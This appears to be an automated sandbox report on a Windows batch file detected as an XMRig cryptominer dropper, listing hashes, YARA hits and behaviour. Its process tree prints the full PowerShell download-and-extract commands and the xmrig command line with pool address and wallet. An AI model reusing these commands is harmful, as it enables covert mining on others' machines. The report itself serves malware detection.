Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1786s -
max time network
1785s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
01/01/2024, 03:11
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231220-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy (8).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 50 IoCs
resource yara_rule behavioral12/files/0x000600000001ac12-119.dat family_xmrig behavioral12/files/0x000600000001ac12-119.dat xmrig behavioral12/memory/2728-122-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-123-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-126-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-127-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-130-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-131-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-132-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-133-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-134-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-135-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-136-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-137-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-138-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-139-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-140-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-141-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-142-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-143-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-144-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-145-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-146-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-147-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-148-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-149-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-150-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-151-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-152-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-153-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-154-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-155-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-156-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-157-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-158-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-159-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-160-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-161-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-163-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-164-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-165-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-166-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-168-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-169-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-171-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-173-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-176-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-178-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-185-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig behavioral12/memory/2728-188-0x00007FF685620000-0x00007FF686123000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 96 powershell.exe 4 96 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2728 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 96 powershell.exe 96 powershell.exe 96 powershell.exe 4272 powershell.exe 4272 powershell.exe 4272 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 96 powershell.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeLockMemoryPrivilege 2728 xmrig.exe Token: SeLockMemoryPrivilege 2728 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2728 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4236 wrote to memory of 96 4236 cmd.exe 16 PID 4236 wrote to memory of 96 4236 cmd.exe 16 PID 4236 wrote to memory of 4272 4236 cmd.exe 75 PID 4236 wrote to memory of 4272 4236 cmd.exe 75 PID 4236 wrote to memory of 2728 4236 cmd.exe 76 PID 4236 wrote to memory of 2728 4236 cmd.exe 76
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:96
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2728
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD542d4b1d78e6e092af15c7aef34e5cf45
SHA16cf9d0e674430680f67260194d3185667a2bb77b
SHA256c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
SHA512d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
-
Filesize
1KB
MD582632f16eb74e40e8f0c089c565ff7b4
SHA1fa456b478f5af6b1307adf78173200261a59407c
SHA256dfd42c106b63f3c9b71c63534478894846ca91754317a3f8bb8e1a787ce5bf35
SHA512c8b97356c6e14261cc2261c918b750e319a8f9aaea826adcf038589feb437eee53b80731db07f9f8c95d3116b310e4ac4ceab1fa5ef197f6a91286f15f01c408
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
33KB
MD57774231f290859b7cc45c8970ef03b18
SHA11774611c5a997cd30d44a7d9107a0192ad2f31e1
SHA2565be8f3a3d8fbb5ae228ff429bd498473013b13eb2bf949704ba2a2184bc5c57a
SHA512b2eb6f5c9061f164d89537aecf780216394aa7ba753d7dfa4671155972b2094d9f96cad6b0cfd8ab9d43cde164de326c16a0be49b694d0aaeacf680df31e11e0
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Filesize
19KB
MD53e85f0d5dab0c0de1c41676672ea417d
SHA1d574c0eab8cf6028e9d3ea3f70c5bc76776348c9
SHA2560a2bdbad23398666537cdc03ac946952d7064b7bd2be07173074c881b13ea800
SHA5127c8154ceadf9cfbc2891a9990431e112d0f371c0c03ef8a1da8705f20c05c577afaa7dd530ade392e74b851a7b18a33b94b92cefb5f61864f44fd4174a680fd1